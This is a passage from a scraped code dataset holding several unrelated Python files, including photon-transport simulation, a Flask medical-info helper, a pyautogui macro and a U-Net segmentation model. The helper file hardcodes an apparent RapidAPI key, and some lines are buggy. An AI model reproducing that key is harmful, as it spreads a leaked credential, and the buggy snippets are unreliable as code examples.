threshold value.\n If the weight is below the threshold value then the photon is terminated with a probability of p = 1-p_term, or \n the weight of the photon is scaled with a factor of 1/p_term with a probability of p = p_term.\n This method of terminating and scaling of the weight ensures that the system conserves energy.\n The photons that are terminated are removed from the input arrays\n \n Parameters:\n -----------\n w: array of size (N)\n array containing the weight of the photons\n u: array of size (3,N)\n array containing the unit velocity vector for all the N photon with the rows containing the x,y,z-velocity \n component \n r: array of size (3,N)\n array containing the position (x,y,z) of each photon\n threshold: float\n threshold value if w0\n intersec = intersec*reflec_cav\n \n t1 = (-b[intersec]+np.sqrt(D[intersec]))/(2*a[intersec]) #parameter of intersection i.e: r = r1+(r2-r1)*t\n t2 = (-b[intersec]-np.sqrt(D[intersec]))/(2*a[intersec]) #parameter of intersection i.e: r = r1+(r2-r1)*t\n \n r1 = r_old[:,intersec] + (r_new[:,intersec]-r_old[:,intersec])*t1 #intersection of trajectory with sphere\n r2 = r_old[:,intersec] + (r_new[:,intersec]-r_old[:,intersec])*t2 #intersection of trajectory with sphere\n \n #calculate nearest intersection coordinate with sphere \n r1closer = np.sum((r_old[:,intersec] - r1)**2,axis = 0)< np.sum((r_old[:,intersec] - r2)**2, axis = 0) \n \n #parameters of the photons which go trough the sphere \n r_intersec = r1closer*r1 + np.invert(r1closer)*r2 #coordinates of the intersection with the sphere\n r_intersec[:,reflec_io] = r1closer[reflec_io]*r2[:,reflec_io] + np.invert(r1closer[reflec_io])*r1[:,reflec_io] \n u_intersec = u[:,intersec] #velocity vectors \n w_intersec = w[intersec] #weight of photons\n dist_to_travel = np.sqrt(np.sum((r_new[:,intersec] - r_intersec)**2,axis = 0)) #distance photons still have to travel after interaction with sphere\n \n return r_intersec,u_intersec,w_intersec,dist_to_travel,intersec,reflec_io,reflec_oi\n\ndef reflect_cavity(r,u,w,intersec,reflec_io,reflec_oi,n1,n2,cavcent):\n \"\"\"reflect_cavity(r,u,w,dist_to_travel,intersec,reflec_io,reflec_oi,n1,n2,cavcent):\n Description:\n ------------\n This function reflects part of the weight of photons which intersect from the cavity boundary by calculating the Fresnel reflection coefficients (and taking into account total internal reflection).\n \n Parameters:\n -----------\n r: array of size (3,number of photons intersecting the cavity)\n array containing the position (x,y,z) of the intersection for each photon which path intersects the cavity\n u: array of size (3,number of photons intersecting the cavity)\n array containing the unit velocity vector of each photon which path intersects the cavity\n w: array of size (number of photons intersecting the cavity)\n array containing the weights of each photon which path intersects the cavity\n dist_to_travel: array of size (number of photons intersecting the cavity)\n array containing the distance each photon has to travel after the intersection with the cavity\n intersec: boolean array of size (N)\n boolean array containing the indices of which photons actually intersect the cavity\n reflec_io: boolean array of size (N)\n boolean array containing the indices of which photons intersect from the inside to the outside of the cavity\n reflec_oi: boolean array of size (N)\n boolean array containing the indices of which photons intersect from the outside to the inside of the cavity\n n1: float\n float indicating the refraction coefficient of the tissue\n n2: float\n float indicating the refraction coefficient of the cavity\n cavcent: array of size (3)\n array containing the (x,y,z) of a spherical cavity\n\n \n Results:\n --------\n r: array of size (3,number of photons intersecting the cavity)\n array containing the position (x,y,z) of each photon which path intersects the cavity\n u: array of size (3,number of photons intersecting the cavity)\n array containing the unit velocity vector of each photon which path intersects the cavity\n w: array of size (number of photons intersecting the cavity)\n array containing the weights of each photon which path intersects the cavity\n R: array of size (number of photons intersecting the cavity)\n array containing the fresnel reflection coefficient for each intersecting photon\n ci: array of size (number of photons intersecting the cavity)\n array containing the cosine of the angle between the incoming photons and the cavity surface\n si: array of size (number of photons intersecting the cavity)\n array containing the sine of the angle between the incoming photons and the cavity surface\n normal: array of size (3,number of photons intersecting the cavity)\n array containing vector normal to the cavity surface at the intersection location\n \"\"\" \n #Fresnel reflection and transmission\n Rs = np.zeros(np.sum(intersec)) #s-polarisation reflection\n Rp = np.copy(Rs) #p-polarisation reflection\n R = np.copy(Rs) #total reflection coefficent \n \n normal = (r - cavcent)/np.sqrt(np.sum((r - cavcent)**2,axis = 0)) #normal vector sphere\n ci = abs(np.sum(normal*u,axis = 0)) #cosinus of incident angle\n ci[ci>1] = 1\n si = np.sqrt(1-ci**2) #sinus of incident angle \n \n #refelction from outside to inside\n tot_ref = n1/n2*si>1 #total internal reflection\n par_ref = tot_ref == False #reflection and transmission\n oi = par_ref*reflec_oi \n \n ci_oi = ci[oi]\n si_oi = si[oi]\n \n #Fresnel coefficents for reflection from outside to inside\n Rs[oi] = ((n1*ci_oi - n2*np.sqrt(1-(n1/n2*si_oi)**2))/(n1*ci_oi + n2*np.sqrt(1-(n1/n2*si_oi)**2)))**2 #s-polarisation\n Rp[oi] = ((-n2*ci_oi + n1*np.sqrt(1-(n1/n2*si_oi)**2))/(n2*ci_oi + n1*np.sqrt(1-(n1/n2*si_oi)**2)))**2 #p-polarisation\n R[oi] = (Rs[oi]+Rp[oi])/2 \n R[tot_ref*reflec_oi] = 1\n \n #refelction from inside to outside\n tot_ref = n2/n1*si>1 #total internal reflection\n par_ref = tot_ref == False #reflection and transmission\n io = par_ref*reflec_io\n \n ci_io = ci[io]\n si_io = si[io]\n\n #Fresnel coefficents for reflection from inside to outside\n Rs[io] = ((n2*ci_io - n1*np.sqrt(1-(n2/n1*si_io)**2))/(n2*ci_io + n1*np.sqrt(1-(n2/n1*si_io)**2)))**2 #s-polarisation \n Rp[io] = ((-n1*ci_io + n2*np.sqrt(1-(n2/n1*si_io)**2))/(n1*ci_io + n2*np.sqrt(1-(n2/n1*si_io)**2)))**2 #p-polarisation \n R[io] = (Rs[io]+Rp[io])/2 \n R[tot_ref*reflec_io] = 1\n \n #calculate new weights of photons and new velocity vectors\n w = R*w\n u = u-2*np.sum(u*normal,axis = 0)*normal \n \n return u,w,R,ci,si,normal\n\ndef transmission_cavity(r,u,w,s,dist_to_travel,ci,si,normal,R,reflec_oi,reflec_io,n1,n2):\n \"\"\"transmission_cavity(r,u,w,s,dist_to_travel,ci,si,normal,R,reflec_oi,reflec_io,n1,n2):\n Description:\n ------------\n This function transmits and refracts part of the weight of photons which intersect from the cavity boundary by using the calculated Fresnel coefficients, Snell's law and a rotation matrix\n \n Parameters:\n -----------\n r: array of size (3,number of photons intersecting the cavity)\n array containing the position (x,y,z) of the intersection for each photon which path intersects the cavity\n u: array of size (3,number of photons intersecting the cavity)\n array containing the unit velocity vector of each photon which path intersects the cavity\n w: array of size (number of photons intersecting the cavity)\n array containing the weights of each photon which path intersects the cavity\n s: array of size (number of photons intersecting the cavity)\n array containing the step size of each photon which path intersects the cavity\n dist_to_travel: array of size (number of photons intersecting the cavity)\n array containing the distance each photon has to travel after the intersection with the cavity\n ci: array of size (number of photons intersecting the cavity)\n array containing the cosine of the angle between the incoming photons and the cavity surface\n si: array of size (number of photons intersecting the cavity)\n array containing the sine of the angle between the incoming photons and the cavity surface\n normal: array of size (3,number of photons intersecting the cavity)\n array containing vector normal to the cavity surface at the intersection location\n reflec_io: boolean array of size (N)\n boolean array containing the indices of which photons intersect from the inside to the outside of the cavity\n reflec_oi: boolean array of size (N)\n boolean array containing the indices of which photons intersect from the outside to the inside of the cavity\n n1: float\n float indicating the refraction coefficient of the tissue\n n2: float\n float indicating the refraction coefficient of the cavity\n \n Results:\n --------\n utrans: array of size (3,number of photons intersecting the cavity)\n array containing the unit velocity vector of each photon which path intersects the cavity and is transmitted and refracted through the surface of the cavity\n rtrans: array of size (3,number of photons intersecting the cavity)\n array containing the position (x,y,z) of each photon which path intersects the cavity and is transmitted and refracted through the surface of the cavity\n wtrans: array of size (number of photons intersecting the cavity)\n array containing the weights of each photon which path intersects the cavity and is transmitted and refracted through the surface of the cavity\n strans: array of size (number of photons intersecting the cavity)\n array containing the step size of each photon which path intersects the cavity and is transmitted and refracted through the surface of the cavity\n \n \"\"\"\n \n #find the photons that are partially reflected\n if n1cavr**2\n s[out==False] = 2*cavr #ensure that the photons inside the cavity will interact with the boundary \n \n #find the photons that travel through the cavity and set them at the boundary \n r_intersec,u_intersec,w_intersec,dist_to_travel,intersec,reflec_io,reflec_oi = through_cavity_boundary(r_old,r,u,s,w,cavcent,cavr)\n \n #reflect the photons that are incident on the boundary of the cavity \n u[:,intersec],w[intersec],R,ci,si,normal = reflect_cavity(r_intersec,u_intersec,w_intersec,intersec,reflec_io,reflec_oi,n1,n2,cavcent)\n \n #Transmit the photons that are incident on the boundary of the cavity \n utrans,wtrans,strans,par_ref = transmission_cavity(r_intersec,u_intersec,w_intersec,dist_to_travel,s[intersec],ci,si,normal,R,reflec_oi,reflec_io,n1,n2)\n \n #Look at the photons that have interacted with the boundary of the cavity\n ureflect = u[:,intersec]\n rreflect = np.zeros((3,np.sum(intersec)))\n \n #set the photons that are internal reflect in the cavity just away from the cavity boundary\n rreflect[:,reflec_io] = r_intersec[:,reflec_io] + ureflect[:,reflec_io] * 0.01*cavr\n \n #set the photons that are reflected outside the cavity to their new position\n rreflect[:,reflec_oi] = r_intersec[:,reflec_oi] + ureflect[:,reflec_oi] * dist_to_travel[reflec_oi]\n \n #set the reflected photons back in the original array\n r[:,intersec] = rreflect\n \n #set the transmitted photons to their new position\n rtrans = np.zeros((3,np.sum(par_ref)))\n #photons transmitted from outside cavity to inside cavity\n rtrans[:,reflec_oi[par_ref]] = utrans[:,reflec_oi[par_ref]]*0.01*cavr + r_intersec[:,reflec_oi*par_ref]\n #photons transmitted from inside cavity to outside cavity\n rtrans[:,reflec_io[par_ref]],strans[reflec_io[par_ref]] = hop(r_intersec[:,reflec_io*par_ref],utrans[:,reflec_io[par_ref]],mu_t)\n\n #add the transmitted photons to the original arrays\n u = np.concatenate((u,utrans),axis = 1)\n r = np.concatenate((r,rtrans),axis = 1)\n w = np.concatenate((w,wtrans),axis = 0)\n s = np.concatenate((s,strans),axis = 0)\n \n #find the photons that are not in the cavity after reflections on cavity boundary\n out = np.sum((r-cavcent)**2,axis=0)>cavr**2 \n return r,u,w,s,out\n","repo_name":"martijneppenga/Monte_Carlo_radiation_transport","sub_path":"functions.py","file_name":"functions.py","file_ext":"py","file_size_in_byte":34811,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"}
+{"seq_id":"31149402664","text":"from bisect import bisect_left as bisect\nfrom sys import stdin,stdout\nfor _ in xrange(int(stdin.readline())):\n n= int(stdin.readline())\n array=list()\n ##input\n for i in xrange(n):\n array.append(map(int,stdin.readline().split()))\n ##sorting\n for i in xrange(n):\n array[i].sort()\n ##storing\n ans=list()\n for i in xrange(n):\n ans.append(list(array[i]))\n ##dp\n for i in xrange(1,n):\n for j in xrange(n):\n index=bisect(array[i-1],array[i][j])\n if index == 0:\n ans[i][j]=-1\n else:\n if ans[i-1][index-1]==-1:\n ans[i][j]=-1\n else:\n ans[i][j]+=ans[i-1][index-1]\n final_ans=max(ans[-1])\n stdout.write(\"%d\\n\"%(final_ans))\n\n \n\n \n \n","repo_name":"phantomhieve/CP","sub_path":"2018/janurary(18) long/2.py","file_name":"2.py","file_ext":"py","file_size_in_byte":823,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"}
+{"seq_id":"41193682433","text":"from CRABClient.UserUtilities import config\nimport os, re, time\n\narchs = os.environ[\"SCRAM_ARCH\"].split(\"_\")\nosMajorVer = int(re.sub(\"[a-z]\", \"\", archs[0]))\n\nconfig = config()\nconfig.General.instance = os.getenv(\"CRABCONFIGINSTANCE\", \"prod\")\nconfig.General.requestName = os.getenv(\"CRAB_REQUEST\", str(int(time.time())))\nconfig.General.transferOutputs = True\nconfig.General.transferLogs = False\n\nconfig.Data.unitsPerJob = 10\nconfig.Data.totalUnits = 10\nconfig.Data.splitting = \"EventBased\"\nconfig.Data.publication = False\n\nconfig.JobType.psetName = os.path.join(os.path.dirname(__file__), \"pset.py\")\nconfig.JobType.pluginName = \"PrivateMC\"\nconfig.JobType.maxJobRuntimeMin = 60\nconfig.JobType.maxMemoryMB = 2000\nconfig.JobType.allowUndistributedCMSSW = True\n\nconfig.Site.storageSite = \"T2_CH_CERN\"\n\nif \"CRAB_SCHEDD_NAME\" in os.environ and os.environ[\"CRAB_SCHEDD_NAME\"] != \"\":\n config.Debug.scheddName = os.environ[\"CRAB_SCHEDD_NAME\"]\nif \"CRAB_COLLECTOR\" in os.environ and os.environ[\"CRAB_COLLECTOR\"] != \"\":\n config.Debug.collector = os.environ[\"CRAB_COLLECTOR\"]\n\nconfig.Debug.extraJDL = ['+REQUIRED_OS=\"rhel%s\"' % osMajorVer]\nif \"amd64\" == archs[1]:\n config.Debug.extraJDL.append(\n '+DESIRED_Archs=\"%s\"' % \"X86_64\" if (\"amd64\" == archs[1]) else archs[1]\n )\nif \"SINGULARITY_IMAGE\" in os.environ and os.environ[\"SINGULARITY_IMAGE\"] != \"\":\n config.Debug.extraJDL.append('+SingularityImage=\"%s\"' % os.environ[\"SINGULARITY_IMAGE\"])\nif \"CRAB_SITE\" in os.environ and os.environ[\"CRAB_SITE\"] != \"\":\n config.Debug.extraJDL.append('+DESIRED_Sites=\"%s\"' % os.environ[\"CRAB_SITE\"])\n","repo_name":"cms-sw/cms-bot","sub_path":"crab/task.py","file_name":"task.py","file_ext":"py","file_size_in_byte":1595,"program_lang":"python","lang":"en","doc_type":"code","stars":25,"dataset":"github-code","pt":"61"}
+{"seq_id":"28854617456","text":"\n# 나이스코딩/ Python예제 / 11.pyautogui 매크로프로그램 만들기\nimport pyautogui as pag\nimport pyperclip as ppc\nimport time\n\ngreet = \"Good night\"\n\ntime.sleep(3)\npag.hotkey(\"ctrl\", \"shift\", \"N\")\ntime.sleep(1)\n\npag.typewrite(\"Nice Coding!!!\")\npag.press(\"enter\")\nppc.copy(greet)\npag.hotkey(\"ctrl\", \"v\")\n\ntime.sleep(0.2)\npag.hotkey(\"ctrl\", \"s\")\ntime.sleep(\"0.5\")\npag.typewrite(\"test.txt\")\ntime.sleep(0.2)\npag.hotkey(\"alt\", \"S\") # select all\n\n\n\n","repo_name":"jongryeul/first-noona-project","sub_path":"pyautogui_macro.py","file_name":"pyautogui_macro.py","file_ext":"py","file_size_in_byte":458,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"}
+{"seq_id":"40047148004","text":"import base64\nfrom datetime import date\n\nimport requests\nfrom Cryptodome.Cipher import AES\nfrom Cryptodome.Random import get_random_bytes\nfrom flask_admin import Admin\n\nfrom models import db, app, User, City, Role, Scheme\n\nadmin = Admin(app, name='Med360')\n\n\ndef get_scheme_data():\n import pandas as pd\n schemes_file = r'../kb/scheme_hosp.txt'\n return pd.read_csv(open(schemes_file, 'r'), delimiter='\\t')\n\n\ndef get_states_for_help():\n from pickle import load\n final_dist = load(open('kb/dist_list.pkl', 'rb'))\n return [(i, i) for i in final_dist]\n\n\ndef get_emergency_numbers(district):\n \"\"\"\n :param district: district name\n :type district: str\n :return: two pd.df\n :rtype: pd.df\n \"\"\"\n import pandas as pd\n helpline_pkl = r'kb/helpline.pkl'\n hotline_pkl = r'kb/hotline_numbers.pkl'\n helpline_df = pd.read_pickle(helpline_pkl)\n hotline_df = pd.read_pickle(hotline_pkl)\n hotline_result = hotline_df[hotline_df['District'].str.contains(district, case=False)]\n helpline_result = helpline_df[helpline_df['District'].str.contains(district, case=False)]\n return hotline_result, helpline_result\n\n\ndef get_all_states_for_donors():\n return [(r[0], r[0]) for r in db.session.query(User.state).distinct()]\n\n\ndef get_all_states():\n states = [(r[0], r[0]) for r in db.session.query(City.state).distinct()]\n states.append((\"0\", \"States\"))\n return states\n\n\ndef get_all_roles():\n return [(r[0], r[1]) for r in db.session.query(Role.id, Role.name).distinct()]\n\n\ndef get_all_schemes():\n return [(r[0], r[1]) for r in db.session.query(Scheme.uuid, Scheme.name).distinct()]\n\n\ndef spec_code_dict():\n import pandas as pd\n codes = pd.read_csv(r'kb/codes.csv')\n codes.index = codes.code\n codes = codes.drop('code', axis=1)\n code_dict = []\n for i, j in codes.iterrows():\n if len(code_dict) == 0:\n code_dict.append(('None', 'Specialities'))\n code_dict.append((j.name, j.spec))\n return code_dict\n\n\ndef decodeSpecialties(spec):\n if 'NA' not in str(spec):\n import pandas as pd\n codes = pd.read_csv(r'kb/codes.csv')\n codes.index = codes.code\n codes = codes.drop('code', axis=1)\n specs = []\n if ',' in str(spec):\n spec = str(spec).replace(' ', '')\n spec = spec.split(',')\n for _spec in spec:\n specs.append(codes._get_value(_spec, col='spec'))\n else:\n specs.append(codes._get_value(spec.replace(' ', ''), col='spec'))\n return specs\n return ['NA']\n\n\ndef get_age(dob):\n today = date.today()\n return today.year - dob.year - ((today.month, today.day) < (dob.month, dob.day))\n\n\ndef covid_data():\n corona_api_key = \"f4491b20c4mshe066c8a643cdf41p1d21dfjsna43b3402be92\"\n url = \"https://api.covid19api.com/live/country/india\"\n querystring = {\"format\": \"json\", \"name\": \"india\"}\n headers = {\n 'x-rapidapi-host': \"covid-19-data.p.rapidapi.com\",\n 'x-rapidapi-key': corona_api_key\n }\n\n global_url = 'https://api.covid19api.com/summary'\n global_resp = requests.request(\"GET\", global_url)\n response = requests.request(\"GET\", url, headers=headers, params=querystring)\n india_val = response.json()\n global_val = global_resp.json()\n return india_val, global_val\n\n\ndef distinct(input_list):\n if not isinstance(input_list, list):\n raise TypeError('Input has to be set to list type')\n seen_uuid = []\n final_out = []\n ids = [i.uuid for i in input_list]\n for obj in input_list:\n if ids.count(obj.uuid) == 1 or obj.uuid not in seen_uuid:\n final_out.append(obj)\n seen_uuid.append(obj.uuid)\n return final_out\n\n\nclass Security:\n def encrypt(raw, __key):\n BS = AES.block_size\n pad = lambda s: s + (BS - len(s) % BS) * chr(BS - len(s) % BS)\n\n raw = base64.b64encode(pad(raw).encode('utf8'))\n iv = get_random_bytes(AES.block_size)\n cipher = AES.new(key=__key[:16].encode('utf8'), mode=AES.MODE_CFB, iv=iv)\n return base64.b64encode(iv + cipher.encrypt(raw))\n\n def decrypt(enc, __key):\n unpad = lambda s: s[:-ord(s[-1:])]\n\n enc = base64.b64decode(enc)\n iv = enc[:AES.block_size]\n cipher = AES.new(__key[:16].encode('utf8'), AES.MODE_CFB, iv)\n return unpad(base64.b64decode(cipher.decrypt(enc[AES.block_size:])))\n","repo_name":"vaisakhv/M-Care","sub_path":"med360.py","file_name":"med360.py","file_ext":"py","file_size_in_byte":4380,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"}
+{"seq_id":"27859696686","text":"import argparse\nimport os\nimport util\n\n\nclass BaseOptions():\n def __init__(self):\n self.initialized = False\n\n def initialize(self, parser):\n parser.add_argument('type', type=str, help='train or test the model', choices=['train', 'test'])\n parser.add_argument('--batchSize', type=int, default=1, help='input batch size')\n parser.add_argument('--loadSize', type=int, default=256, help='scale images to this size')\n parser.add_argument('--fineSize', type=int, default=256, help='then crop to this size')\n parser.add_argument('--input_nc', type=int, default=3, help='# of input image channels')\n parser.add_argument('--output_nc', type=int, default=3, help='# of output image channels')\n parser.add_argument('--ngf', type=int, default=64, help='# of gen filters in first conv layer')\n parser.add_argument('--ndf', type=int, default=64, help='# of discrim filters in first conv layer')\n parser.add_argument('--dataset_mode', type=str, default='aligned', help='chooses how datasets are loaded. [aligned | aligned_resized | single]')\n parser.add_argument('--nThreads', default=8, type=int, help='# threads for loading data')\n parser.add_argument('--checkpoints_dir', type=str, default='./weights', help='models are saved here')\n parser.add_argument('--norm', type=str, default='instance', help='[instance|batch|switchable] normalization')\n parser.add_argument('--suffix', default='', type=str, help='customized suffix: opt.name = opt.name + suffix: e.g., {model}_{which_model_netG}_size{loadSize}')\n\n parser.add_argument('--max_dataset_size', type=int, default=float(\"inf\"), help='Maximum number of samples allowed per dataset. If the dataset directory contains more than max_dataset_size, only a subset is loaded.')\n parser.add_argument('--resize_or_crop', type=str, default='resize_and_crop', help='scaling and cropping of images at load time [resize_and_crop|crop|scale_width]')\n parser.add_argument('--no_flip', action='store_true', help='if specified, do not flip the images for data argumentation')\n parser.add_argument('--init_type', type=str, default='normal', help='network initialization [normal|xavier|kaiming|orthogonal]')\n parser.add_argument('--mask_type', type=str, default='center',\n help='the type of mask you want to apply, \\'center\\' or \\'random\\'')\n parser.add_argument('--mask_sub_type', type=str, default='rect',\n help='the type of mask you want to apply, \\'rect \\' or \\'fractal \\' or \\'island \\'')\n parser.add_argument('--lambda_A', type=int, default=100, help='weight on L1 term in objective')\n parser.add_argument('--overlap', type=int, default=4, help='the overlap for center mask')\n parser.add_argument('--init_gain', type=float, default=0.02, help='scaling factor for normal, xavier and orthogonal.')\n parser.add_argument('--skip', type=int, default=0, help='Define whether the guidance layer is skipped. Useful when using multiGPUs.')\n parser.add_argument('--fuse', type=int, default=0, help='Fuse may encourage large patches shifting when using \\'patch_soft_shift\\'')\n parser.add_argument('--gan_type', type=str, default='vanilla', help='wgan_gp, '\n 'lsgan, '\n 'vanilla, '\n 're_s_gan (Relativistic Standard GAN), '\n 're_avg_gan')\n parser.add_argument('--gan_weight', type=float, default=0.2, help='the weight of gan loss')\n parser.add_argument('--style_weight', type=float, default=10.0, help='the weight of style loss')\n parser.add_argument('--content_weight', type=float, default=1.0, help='the weight of content loss')\n parser.add_argument('--discounting', type=int, default=1, help='the loss type of mask part, whether using discounting l1 loss or normal l1')\n parser.add_argument('--use_spectral_norm_D', type=int, default=1, help='whether to add spectral norm to D, it helps improve results')\n parser.add_argument('--use_spectral_norm_G', type=int, default=0, help='whether to add spectral norm in G. Seems very bad when adding SN to G')\n\n self.initialized = True\n return parser\n\n def gather_options(self, options=None):\n # initialize parser with basic options\n if not self.initialized:\n parser = argparse.ArgumentParser(\n formatter_class=argparse.ArgumentDefaultsHelpFormatter)\n parser = self.initialize(parser)\n\n\n self.parser = parser\n if options == None:\n return parser.parse_args()\n else:\n return parser.parse_args(options)\n\n def print_options(self, opt):\n message = ''\n message += '----------------- Options ---------------\\n'\n for k, v in sorted(vars(opt).items()):\n comment = ''\n default = self.parser.get_default(k)\n if v != default:\n comment = '\\t[default: %s]' % str(default)\n message += '{:>25}: {:<30}{}\\n'.format(str(k), str(v), comment)\n message += '----------------- End -------------------'\n print(message)\n\n # save to the disk\n expr_dir = os.path.join(opt.checkpoints_dir, opt.name)\n util.mkdirs(expr_dir)\n file_name = os.path.join(expr_dir, 'opt.txt')\n with open(file_name, 'wt') as opt_file:\n opt_file.write(message)\n opt_file.write('\\n')\n\n def parse(self, options=None):\n\n opt = self.gather_options(options=options)\n\n # process opt.suffix\n if opt.suffix:\n suffix = ('_' + opt.suffix.format(**vars(opt))) if opt.suffix != '' else ''\n opt.name = opt.name + suffix\n\n # self.print_options(opt)\n self.opt = opt\n return self.opt\n\n\nclass MyOptions(BaseOptions):\n def initialize(self, parser):\n parser = BaseOptions.initialize(self, parser)\n parser.add_argument('--lr', type=float, default=0.0002, help='initial learning rate for adam')\n return parser\n","repo_name":"HighwayWu/ImageInpainting","sub_path":"options.py","file_name":"options.py","file_ext":"py","file_size_in_byte":6333,"program_lang":"python","lang":"en","doc_type":"code","stars":30,"dataset":"github-code","pt":"61"}
+{"seq_id":"3336922318","text":"def compute_graph(params, target):\n '''\n Simple function with the forward pass\n\n args:\n params: list\n contains the inputs and the weight tensors\n returns:\n L: float\n loss given a target value\n '''\n a, w1, w2, w3, w4 = params[0],params[1], params[2], params[3], params[4]\n \n b = w1 * a \n c = w2 * a\n d = w3 * b + w4 * c \n\n # Compute the summed loss\n L = (target - d).sum()\n\n # Store weights in a dictionary\n weights = {}\n weights['w1'] = w1\n weights['w2'] = w2\n weights['w3'] = w3\n weights['w4'] = w4\n\n # Store values of the nodes in a dictionary\n values = {}\n values['a'] = a\n values['b'] = b\n values['c'] = c\n values['d'] = d\n\n return (L, values, weights)\n","repo_name":"ungarl/course-content","sub_path":"tutorials/W2_PyTorchDLN/solutions/W2_Tutorial1_Solution_Ex03b.py","file_name":"W2_Tutorial1_Solution_Ex03b.py","file_ext":"py","file_size_in_byte":698,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"61"}
+{"seq_id":"28295786163","text":"#my initial slow solution\nclass Solution:\n def romanToInt(self, s):\n \"\"\"\n :type s: str\n :rtype: int\n \"\"\"\n v = [1000,900,500,400,100,90,50,40,10,9,5,4,1]\n a = ['M','CM','D','CD','C','XC','L','XL', 'X','IX', 'V','IV', 'I']\n mapping = dict(zip(a,v))\n if len(s) == 1:\n return mapping[s]\n i = 0\n n =0\n while len(s)>1:\n if s[:2] in mapping.keys():\n n+=mapping[s[:2]]\n s = s[2:]\n else:\n n+=mapping[s[:1]]\n s = s[1:]\n if s:\n n+=mapping[s]\n return n\n\n#faster by other people, take advantage that small before large means minus:\nclass Solution:\n def romanToInt(self, s):\n \"\"\"\n :type s: str\n :rtype: int\n \"\"\"\n v = [1000,500,100,50,10,5,1]\n a = ['M','D','C','L', 'X' ,'V', 'I']\n mapping = dict(zip(a,v))\n if len(s) == 1:\n return mapping[s]\n total = 0\n for i in range(len(s) -1):\n if mapping[s[i]] < mapping[s[i+1]]:\n total -= mapping[s[i]]\n else:\n total += mapping[s[i]]\n total += mapping[s[-1]]\n return total","repo_name":"xinwang26/leetcodeprac","sub_path":"roman_to_integer.py","file_name":"roman_to_integer.py","file_ext":"py","file_size_in_byte":1245,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"}
+{"seq_id":"43478996144","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Tue Dec 8 14:53:05 2020\r\n\r\n@author: carlo\r\n\"\"\"\r\nimport os\r\nimport tensorflow as tf\r\nimport numpy as np\r\nfrom PIL import Image\r\nimport time\r\nfrom matplotlib import cm\r\nimport matplotlib.pyplot as plt\r\nimport json\r\nimport cv2\r\n\r\nSEED = 1234\r\ntf.random.set_seed(SEED) \r\nnp.random.seed(SEED)\r\n\r\n#the foder Test_Dev must be in the current work directory\r\ncurr_dir = os.getcwd() \r\nn_exp = '03'\r\nfold_name = 'segmentation_experiments' + n_exp\r\nckpt_dir = os.path.join(curr_dir, fold_name)\r\nfolder_used = 'Segm_2020-12-08_11-14-41'\r\nckpt_dir = os.path.join(ckpt_dir,folder_used)\r\nckpt_dir = os.path.join(ckpt_dir, 'ckpts')\r\n\r\n\r\nused_ckpt = 'cp_46' #metti quello di tensorboard + 1\r\nused_ckpt_address = used_ckpt + '.ckpt'\r\n\r\nckpt_elem = os.path.join(ckpt_dir,used_ckpt_address)\r\n\r\n\r\nimg_h = 512\r\nimg_w = 512\r\n\r\nbs = 4\r\n\r\n#####################################################################################\r\ndef read_rgb_mask(img_path):\r\n '''\r\n img_path: path to the mask file\r\n Returns the numpy array containing target values\r\n '''\r\n\r\n mask_img = Image.open(img_path)\r\n mask_arr = np.array(mask_img)\r\n\r\n new_mask_arr = np.zeros(mask_arr.shape[:2], dtype=mask_arr.dtype)\r\n\r\n # Use RGB dictionary in 'RGBtoTarget.txt' to convert RGB to target\r\n new_mask_arr[np.where(np.all(mask_arr == [216, 124, 18], axis=-1))] = 0\r\n new_mask_arr[np.where(np.all(mask_arr == [255, 255, 255], axis=-1))] = 1\r\n new_mask_arr[np.where(np.all(mask_arr == [216, 67, 82], axis=-1))] = 2\r\n\r\n return new_mask_arr\r\n\r\n\r\n#######################################################################################\r\n\r\n#I create the model\r\n\r\ndef down_block(inpt,filters):\r\n out1 = tf.keras.layers.Conv2D(filters, kernel_size=(3, 3),strides=(1, 1), padding='same')(inpt)\r\n out2 = tf.keras.layers.BatchNormalization()(out1) #I apply batch normalization before the relu activation\r\n out3 = tf.keras.layers.ReLU()(out2)\r\n out4 = tf.keras.layers.MaxPooling2D((2, 2))(out3)\r\n return out4, out3\r\n\r\ndef up_block(inpt,filters,skip_conn):\r\n out1 = tf.keras.layers.Conv2DTranspose(filters, kernel_size=(2, 2), strides=(2, 2), padding='same')(inpt)\r\n out2 = tf.keras.layers.concatenate([out1, skip_conn])\r\n out3 = tf.keras.layers.Conv2D(filters, kernel_size=(3, 3), activation='relu', padding='same')(out2)\r\n out4 = tf.keras.layers.BatchNormalization()(out3) #I apply batch normalization before the relu activation\r\n out5 = tf.keras.layers.ReLU()(out4)\r\n return out5\r\n\r\ndef UnetMod(img_h, img_w, n_class, start_filters, depth):\r\n inputs = tf.keras.layers.Input([img_h, img_w, n_class])\r\n u = inputs\r\n l_out = []\r\n for i in range(0,depth):\r\n u, u1 = down_block(u, start_filters)\r\n l_out.append(u1)\r\n start_filters = start_filters*2\r\n \r\n u = tf.keras.layers.Conv2D(start_filters, kernel_size=(3, 3), padding='same') (u)\r\n u = tf.keras.layers.BatchNormalization()(u) #I apply batch normalization before the relu activation\r\n u = tf.keras.layers.ReLU()(u)\r\n \r\n \r\n start_filters = start_filters/2\r\n \r\n l_out.reverse()\r\n for i in range(0,depth-1):\r\n u = up_block(u,start_filters,l_out[i])\r\n start_filters = start_filters/2\r\n u = tf.keras.layers.Conv2DTranspose(start_filters, kernel_size=(2, 2), strides=(2, 2), padding='same') (u)\r\n u = tf.keras.layers.concatenate([u, l_out[depth-1]], axis=3)\r\n u = tf.keras.layers.Conv2D(start_filters, kernel_size=(3, 3), padding='same') (u)\r\n u = tf.keras.layers.BatchNormalization()(u) #I apply batch normalization before the relu activation\r\n u = tf.keras.layers.ReLU()(u)\r\n \r\n outputs = tf.keras.layers.Conv2D(filters=n_class, kernel_size=(1, 1), padding='same',activation='softmax') (u)\r\n \r\n mod = tf.keras.Model(inputs=[inputs], outputs=[outputs])\r\n return mod\r\n \r\n\r\n\r\nmodel = UnetMod(img_h = img_h, img_w = img_w, n_class = 3, start_filters = 16, depth = 5)\r\n\r\nprint(model.summary())\r\n\r\n#############################################################################################\r\n# Optimization params\r\n# -------------------\r\n\r\n# Loss\r\n# Categoricaly Crossentropy\r\nloss = 